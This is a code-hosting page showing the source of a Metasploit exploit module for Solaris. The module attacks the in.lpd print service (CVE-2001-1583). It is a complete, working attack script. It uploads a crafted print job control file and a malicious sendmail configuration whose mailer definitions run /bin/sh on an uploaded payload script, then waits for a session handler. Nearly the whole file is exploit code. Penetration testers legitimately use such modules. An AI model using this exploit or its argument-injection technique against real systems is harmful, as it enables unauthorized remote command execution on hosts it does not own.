Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/solaris/lpd/sendmail_exec.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Solaris LPD Command Execution',
17
'Description' => %q{
18
This module exploits an arbitrary command execution flaw in
19
the in.lpd service shipped with all versions of Sun Solaris
20
up to and including 8.0. This module uses a technique
21
discovered by Dino Dai Zovi to exploit the flaw without
22
needing to know the resolved name of the attacking system.
23
},
24
'Author' => [ 'hdm', 'ddz' ],
25
'License' => MSF_LICENSE,
26
'References' => [
27
['CVE', '2001-1583'],
28
['OSVDB', '15131'],
29
['BID', '3274'],
30
],
31
'Platform' => %w[solaris unix],
32
'Arch' => ARCH_CMD,
33
'Payload' => {
34
'Space' => 8192,
35
'DisableNops' => true,
36
'Compat' => {
37
'PayloadType' => 'cmd',
38
'RequiredCmd' => 'generic perl telnet'
39
}
40
},
41
'Targets' => [
42
[ 'Automatic Target', {}]
43
],
44
'DisclosureDate' => '2001-08-31',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Stability' => [CRASH_SAFE],
48
'SideEffects' => [IOC_IN_LOGS],
49
'Reliability' => [REPEATABLE_SESSION]
50
}
51
)
52
)
53
54
register_options([
55
Opt::RPORT(515)
56
])
57
end
58
59
def exploit
60
# This is the temporary path created in the spool directory
61
spath = '/var/spool/print'
62
63
# The job ID is squashed down to three decimal digits
64
jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
65
66
# The control file
67
control =
68
'H' + "metasploit\n" \
69
'P' + '\"-C' + spath + '/' + jid + "mail.cf\\\" nobody\n" \
70
'f' + 'dfA' + jid + "config\n" \
71
'f' + 'dfA' + jid + "script\n"
72
73
# The mail configuration file
74
mailcf =
75
"V8\n" \
76
"\n" \
77
"Ou0\n" \
78
"Og0\n" \
79
"OL0\n" \
80
"Oeq\n" \
81
"OQX/tmp\n" \
82
"\n" \
83
"FX|/bin/sh #{spath}/#{jid}script\n" \
84
"\n" \
85
"S3\n" \
86
"S0\n" \
87
"R\+ #local \\@blah :blah\n" \
88
"S1\n" \
89
"S2\n" \
90
"S4\n" \
91
"S5\n" \
92
"\n" \
93
"Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n" \
94
"Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
95
96
# Establish the first connection to the server
97
sock1 = connect(false)
98
99
# Request a cascaded job
100
sock1.put("\x02metasploit:framework\n")
101
res = sock1.get_once
102
if !res
103
print_status('The target did not accept our job request command')
104
return
105
end
106
107
print_status('Configuring the spool directory...')
108
if !(
109
send_file(sock1, 2, 'cfA' + jid + 'metasploit', control) &&
110
send_file(sock1, 3, jid + 'mail.cf', mailcf) &&
111
send_file(sock1, 3, jid + 'script', payload.encoded)
112
)
113
sock1.close
114
return
115
end
116
117
# Establish the second connection to the server
118
sock2 = connect(false)
119
120
# Request another cascaded job
121
sock2.put("\x02localhost:metasploit\n")
122
res = sock2.get_once
123
if !res
124
print_status('The target did not accept our second job request command')
125
return
126
end
127
128
print_status('Attempting to trigger the vulnerable call to the mail program...')
129
if !(
130
send_file(sock2, 2, 'cfA' + jid + 'metasploit', control) &&
131
send_file(sock2, 3, 'dfa' + jid + 'config', mailcf)
132
)
133
sock1.close
134
sock2.close
135
return
136
end
137
138
sock1.close
139
sock2.close
140
141
print_status('Waiting up to 60 seconds for the payload to execute...')
142
select(nil, nil, nil, 60)
143
144
handler
145
end
146
147
def send_file(socket, type, name, data = '')
148
socket.put(type.chr + "#{data.length} #{name}\n")
149
res = socket.get_once(1)
150
if !(res && (res[0, 1] == "\x00"))
151
print_status("The target did not accept our control file command (#{name})")
152
return
153
end
154
155
socket.put(data)
156
socket.put("\x00")
157
res = socket.get_once(1)
158
if !(res && (res[0, 1] == "\x00"))
159
print_status("The target did not accept our control file data (#{name})")
160
return
161
end
162
163
print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
164
return true
165
end
166
end
167
168